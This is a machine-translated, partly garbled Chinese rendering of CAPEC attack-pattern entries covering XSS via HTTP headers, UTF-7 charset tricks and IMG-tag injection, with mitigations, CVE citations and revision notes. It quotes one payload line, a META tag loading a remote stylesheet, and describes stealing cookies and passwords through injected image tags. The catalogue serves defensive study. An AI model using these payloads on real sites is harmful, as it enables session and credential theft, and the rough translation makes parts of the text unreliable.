实现:修补软件。有很多对XSS攻击向量在客户端和服务器端。许多浏览器漏洞被固定在服务包,web服务器、和插入技术,保持当前处理XSS对策,缓解了这一补丁发布。 信息泄漏 有效载荷通过标准通信协议,如Ajax应用程序。 命令(s)直接在主机执行 客户端机器和客户网络 使攻击者对客户端系统执行探测。 79年 有针对性的 113年 有针对性的 348年 有针对性的 96年 有针对性的 20. 有针对性的 116年 有针对性的 184年 二次 86年 二次 712年 有针对性的 692年 有针对性的 侦察 客户机-服务器 SOA 所有 所有 AJAX Shreeraj Shah“Web 2.0应用程序的Ajax足迹”,http://www.net-security.org/dl/articles/Ajax_fingerprinting.pdf 贡纳·彼得森 2007-02-28 肖恩·巴纳姆 Cigital公司 2007-03-07 审查和修改 这种类型的攻击利用web应用程序生成web内容,如链接在一个HTML页面,根据用户或不当验证数据提交的其他演员。XSS HTTP头攻击目标的HTTP头中隐藏的大多数用户,不得通过web应用程序进行验证。与所有XSS攻击一样,有很多可能的目标:1。发射攻击web浏览器客户端和客户端机器2。在客户机上发动攻击的环境,如局域网或内部网3。发射攻击web服务器,包括远程web服务器web 2.0技术严重依赖mashup和其他多媒体播放器等插入技术有效地由其他系统生成的内容和脆弱是由于这一事实,攻击者可能会利用这些技术使用的HTTP头信息和显示作为一个攻击发射台。Web 2.0之外,越来越多的Web前端系统管理软件使用,从防火墙管理到应用程序服务器,博客软件,许多工具管理通过Web浏览器。这使管理员能够管理在一个高度分布式环境中,但这是代价暴露的指挥和控制软件系统的网络攻击。此外,由于这些管理应用程序所需的丰富的功能,许多依靠脚本语言。所以攻击者可以将HTTP链接插入日志、审计功能,错误日志,和消息队列,然后,例如,支持javascript的浏览器使用管理员权限可以被重定向到执行各种各样的攻击,包括那些列在这里。 As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack. 目标软件必须是一个客户机允许脚本从远程主机通信,攻击者必须控制远程站点的一些客户端和数据重定向。 非常高的 注射 修改的资源 协议处理 利用远程样式表设置HTTP头的XSS攻击。当攻击者能够指向远程样式表,任何样式表的变量中设置在客户端控制的远程攻击者。像大多数XSS攻击,结果取决于浏览器使用。(来源:http://ha.ckers.org/xss.html) < META HTTP-EQUIV =“链接”内容= " < http://ha.ckers.org/xss.css >;REL =样式表" > < / Example-Instance_Description > < Example-Instance_Description >谷歌的404重定向脚本被发现容易受到这种攻击向量。谷歌的404文件未找到页面读取*响应标头:" content - type: text / html;charset =(编码)”。*响应主体:< META http-equiv =“内容类型”(…)字符集=(编码)/ >如果响应发送一个意想不到的编码类型,如utf - 7,然后没有执行完成载荷和任意XSS代码将运输以及标准的HTTP响应。来源:http://seclists.org/fulldisclosure/2005/Dec/1107.html < / Example-Instance_Description > < Example-Instance_Description > XSS可以用在各种各样的方式,因为它是脚本并执行distribtued,异步方式它可以创建自己的向量和机会。例如,攻击者可以使用XSS发动DDoS攻击通过一系列不同的电脑在不知情的情况下执行请求对一个主机上。 低→实现重定向和使用更少的可靠来源,攻击者可以简单地编辑HTTP头,被发送到客户机。高→利用客户端漏洞将恶意脚本注入浏览器的执行过程。 部署自定义敌对目标客户服务的访问。沟通能力与客户端机器同步或异步 设计:使用浏览器技术,不允许客户端脚本。 设计:利用严格的类型、字符和编码执行 设计:服务器端开发人员不应该通过XHR代理内容或其他方式,如果一个http代理远程内容设置在服务器端,客户端浏览器无法识别数据来自的地方。 实现:确保所有内容交付给客户是消毒与一个可接受的内容规范。 实现:对所有远程执行输入验证的内容。 实现:对所有远程执行输出验证的内容。 实现:在浏览器中禁用脚本语言Javascript等 实现:会话令牌为特定的主机 实现:修补软件。有很多对XSS攻击向量在客户端和服务器端。许多浏览器漏洞被固定在服务包,web服务器、和插入技术,保持当前处理XSS对策,缓解了这一补丁发布。 运行任意代码 信息泄漏 特权升级 ”攻击模式:XSS在HTTP头信息请求的HTTP头总是可用的服务器进行消费。不管数据的上下文或位置。,如果来自客户机的数据,他们应该清楚地是不可信的。然而在许多情况下,程序员忽略标题信息。因为某些原因头信息被视为圣地,不能由用户控制。这种模式利用这种监督将数据通过一个头字段。(霍格伦德和McGraw 04) 恶意输入通过HTTP头。 随攻击模式的实例化。在HTTP头的情况下他们可能不是最终用户通过浏览器看到 头处理在服务器或客户端浏览器 使攻击者能够执行脚本启动攻击服务器和远程客户端机器和环境 79年 有针对性的 184年 二次 348年 有针对性的 96年 有针对性的 20. 有针对性的 116年 有针对性的 86年 二次 692年 有针对性的 697年 有针对性的 713年 有针对性的 71年 有针对性的 cve - 2006 - 5442 简介:ViewVC 1.0.2而早些时候没有指定字符集的HTTP标头或HTML文件,它允许远程攻击者进行跨站点脚本(XSS)攻击注入任意编码utf - 7 JavaScript代码通过一个视图。 cve - 2006 - 3918 摘要:http_protocol。c(1) 6.0.2.13之前IBM HTTP Server 6.0和6.1 6.1.0.1之前,和(2)Apache HTTP Server 1.3 1.3.35之前,2.0.58之前2.0,和2.2 2.2.2之前,不清洁的期望从一个HTTP请求头反射回来时在一个错误消息,这可能允许跨站点脚本(XSS)攻击方式使用web客户端组件,可以发送任意请求头,使用Flash SWF文件作为证明。 渗透 剥削 客户机-服务器 SOA 所有 所有 所有 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 g·霍格伦德和g·麦格劳。利用软件:如何打破代码。addison - wesley, 2004年2月。 Cigital公司 2007-01-01 贡纳·彼得森 Cigital公司 2007-02-28 充实内容从原始描述CAPEC模式在“利用软件” 肖恩·巴纳姆 Cigital公司 2007-03-09 审查和修改 理查德Struse VOXEM公司 2007-03-26 审查和反馈导致名称的变化 肖恩·巴纳姆 Cigital公司 2007-04-16 根据审查和反馈修改模式内容 图像标记是一个经常被忽视,但是方便,一个跨站脚本攻击。攻击者可以将脚本内容注入一个图像(IMG)标记为了窃取信息从一个受害者的浏览器和执行恶意脚本。 应用程序允许包含或使用IMG标记 发现XSS的技术以及工具和手段利用它们相当广泛使用和理解 注射 一个在线论坛允许其成员html有效发布消息,其中也包括图像标记。恶意用户可以在IMG标记嵌入JavaScript在他得到的消息在受害者的浏览器执行当受害者读取这些信息。恶意用户可以利用跨站脚本的图像标记窃取敏感信息,如用户名、密码或饼干,和模仿其他用户论坛。 介质:除了能够找出注入的可能性,攻击者需要适度的脚本技能成功利用跨站脚本在图像标记 没有一个 除了传统的输入字段,所有其他用户可控的输入,如图像标记在消息或喜欢,也必须接受输入验证。这样的验证应该确保内容可能解释为脚本的浏览器是适当的过滤。 所有输出显示给客户必须适当地逃脱了。确保浏览器解释特殊的脚本字符转义而不是脚本执行。 运行任意代码 信息泄漏 这是一个误解,跨站脚本可以犯下只有通过输入字段,如文本框或选择字段。图像标记同样可以滥用将脚本注入受害者的浏览器。IMG标签中的“src”属性指向图像显示的来源。自源属性允许受害者的浏览器请求内容从原始服务器以外的位置,攻击者可以让这个属性指向的位置选择。使受害者指向的位置是通过传统的手段有受害者点击一个链接;然而,也可以通过简单的脚本执行受害者公告栏查看消息。二阶跨站脚本的主要手段是使用IMG标记时脚本注入。 用户可控输入到应用程序。任何输入,可以合理地接受和渲染HTML图像标记可以作为注入向量。 HTML图像标记指向脚本或攻击者选择的位置。 受害者的web浏览器。 脚本的执行在受害者的浏览器中,包含在图像标记或位置指向图像标记内。 82年 有针对性的 79年 有针对性的 74年 二次 20. 二次 692年 有针对性的 697年 有针对性的 713年 有针对性的 71年 有针对性的 cve - 2002 - 1808 跨站点脚本(XSS)脆弱性Meunity社区系统1.1允许远程攻击者通过JavaScript注入任意web脚本或HTML在一个IMG标记创建一个主题。 cve - 2006 - 6919 Firefox扩展1.3.8圣人和早些时候允许远程攻击者执行任意JavaScript在当地通过RSS提要,一个img标记上下文包含脚本之后,一个额外的“>”之后,这圣人修改关闭前的img元素恶意脚本。 不愿相信 深度防御 从不使用用户输入的指令任何内部组件 把整个流程上下文继承用户输入 渗透 剥削 客户机-服务器 SOA 所有 所有 所有 Chiradeep b Chhaya 2007-03-15 初稿 肖恩·巴纳姆 Cigital公司 2007-04-16 审查和修改 网络环境 传统的web环境包括HTTP客户端和服务器和HTTP 1.0或1.1协议。 客户机-服务器 一个环境使用不同的客户端和服务器软件。客户端通常,但不总是,本地二进制文件在一个标准的平台。服务器可以是任何技术,独立的客户端。 当地环境 当地环境的主机攻击者可以访问。攻击者可能有也可能没有对主机的物理访问,但确实有特权的主机上执行命令。 嵌入式设备 环境对嵌入式设备的特点是有限的内存和处理能力。他们通常有最低限度的安全控制,因为他们的环境约束,并且经常依赖更大系统提供安全控制。 点对点环境 点对点环境是没有单独的客户端和服务器的概念;所有节点都是平等的同伴,同时作为客户端和服务器。 通信协议 一个通信协议。协议可以是一个单播协议如Kerberos、IPTV等一个多播协议,或广播协议等部分DHCP。另外,协议可能存在任何OSI七层。 所有 所有环境都适用